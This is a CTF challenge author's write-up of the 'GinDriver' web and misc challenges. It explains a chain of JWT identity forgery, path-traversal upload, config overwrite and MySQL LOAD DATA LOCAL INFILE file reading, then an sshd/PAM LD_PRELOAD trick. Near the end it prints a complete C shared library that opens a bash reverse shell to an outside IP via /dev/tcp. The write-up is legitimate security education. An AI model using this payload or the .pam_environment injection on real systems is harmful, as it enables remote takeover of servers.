Intro
First of all, I’m so honored to take part in this competition and composing challenges (with plusls). The source code of this challenge will be made into public in Github after the competition.
Hoping ctfer having fun in this competition xD.
Design
This challenge is designed into two separated part, as we can see in the platform are GinDriver
and GinDriver Revenge
. In fact, the original idea is inspired by plusls, that he found a trick that may leading to RCE by uploading a malicious dynamic-link library and .pam_environment
file to bypass sshd mechanism (inspired by CVE-2015-8325
). So, I designed the first part to make a springboard helping challengers finding a way leaping to the second part.
The overall design is described below:
- GinDriver: A misusing of JWT signing mechanism leading to identity forgery, and overwriting config file through file uploading to launch MySQL client
LOAD DATA LOCAL INFILE
attack gaining arbitrary file reading. - GinDriver Revenge: A reverse shell can be triggered while ssh server accepted a new connection by uploading
.pam_environment
file to injectLD_PRELOAD
environment which is pointed to a malicious dynamic-link library.
Web
In this part, I will give the detailed solution of the web challenge.
Information Gathering
As the giving attachment, it’s quiet easy to determine that backend service is developed by golang and Gin
framework. Frontend is developed by umi and React.
The challenge using Webauthn to authenticate users, and authenticated user will redirect to file uploading part, while the file uploading function is admin
only.
Webauthn
According to W3C Recommendation, Webauthn has two main flows described as two figures below.
Registration Flow:
Authentication Flow:
As we can see, public key replaced password, playing an important role in Webauthn authentication.
Reverse Engineering
Through IDA, we can easily analyze internal logic. First of all, we can assume the following route:
Static router:
GET /pubkeys/ -> ./public/pubkeys
API router:
POST /api/auth/register/begin
PATCH /api/auth/register/:name/finish
GET /api/auth/login/:name/begin
PATCH /api/auth/login/:name/finish
Login Required router:
GET /api/user/:name
POST /api/user/file/upload
The critical point is in LoginRequired
middleware. This middleware decodes Authorization
header, gets JWT payloads and check signature using user-specific Webauthn public key, which is uploaded by user.
In file uploading part, we can even find path traversal vulnerability in blackbox, that can upload arbitrary file to any location with sufficient write permission.
Last but not least, in main
, configor
is configured to auto reload config file while it has been changed, and execute database auto migration.
From now, we may figure out an exploit chain in this web challenge:
Identity Forgery -> Arbitrary File Uploading -> Overwrite Config File -> Database Auto Migration -> MySQL LOAD DATA LOCAL INFILE
-> Arbitrary File Reading
Identity Forgery
According to the analysis above, we can now using the public key of admin
to forge JWT token, gaining file uploading.
curl https://web.c7466953fb.nu1lctf.com/pubkeys/admin.pub -v
> GET /pubkeys/admin.pub HTTP/2
> Host: web.c7466953fb.nu1lctf.com
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/2 200
< server: openresty/1.17.8.2
< date: Mon, 19 Oct 2020 05:25:59 GMT
< content-type: text/plain; charset=utf-8
< content-length: 36
< accept-ranges: bytes
< last-modified: Mon, 19 Oct 2020 05:24:59 GMT
<
A_sup3r_Sup3r_S3cret_PUBBBBBBB_k3y?
* Connection #0 to host web.c7466953fb.nu1lctf.com left intact
Notice that there’s a new line (\n
) in the admin.pub
.
So, we can easily forge an admin
JWT token by accessing jwt.io.
Add it to authorization
header, and send via burp to confirm.
Arbitrary File Uploading
After forged admin
JWT token, we can now upload config file to overwrite existing one, waiting config file auto reload and database auto migration to trigger MySQL LOAD DATA LOCAL INFILE
.
Arbitrary File Reading
By trigger MySQL LOAD DATA LOCAL INFILE
, we can easily gaining arbitrary file reading to read flag under /flag
.
Quiet easy, right? (xD
Misc
As we know, SSH server uses PAM
to authenticate users by default, and PAM
allows user-specified environment by default, called .pam_environment
, defined in /etc/pam.d/
configuration files.
After a user is authenticated, sshd
will prepare a new session for user. SSH calls PAM
module to retrieve user environment variables, and finally execute execve
user defined shell (e.g. /bin/bash
).
In fact, there’s an official comments from Ubuntu teams replied to plusls
Hello plusls, thanks for the report.
I believe this is working as intended.
You can lock an account by setting the expiration date to 1, eg
sudo usermod -e 1 testaccount
You can also change the pam_env.so module’s user_readenv=1 to
user_readenv=0 in your /etc/pam.d/ configuration files to prevent your
users from supplying an LD_PRELOAD variable.You could also use an AppArmor profile around the shell you set for
your users. This is a bit involved, of course, but for /bin/false or
/usr/sbin/nologin, it probably wouldn’t be unreasonable. This profile
could be restrictive enough to prevent reading the environment file,
or prevent loading arbitrary shared objects, prevent changing their
shell, etc.Thanks
Solution
From the previous analysis, we now gain arbitrary file uploading, which allows us to control .pam_environment
file and public keys needed by SSH authentication.
So, we can launch a reverse shell by uploading the following files:
- Public key for authentication
.pam_environment
- Malicious dynamic-link library
exp.so
With the following content:
# ~/.pam_environment
# as www-data user is /var/www/.pam_environment
LD_PRELOAD DEFAULT=/tmp/exp.so
// gcc exp.c -o exp.so -shared
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void getshell() __attribute__((constructor));
void getshell()
{
char *argv[] = {
"/bin/sh",
"-c",
"/bin/bash -c \"/bin/bash -i 1>&/dev/tcp/192.0.2.34/10240 0<&1\"",
NULL
};
execve("/bin/sh", argv, NULL);
}
After user is authenticated, sshd prepares the new session and injects the dynamic linked library into forked new process, and triggers reverse shell.
发表评论
沙发空缺中,还不快抢~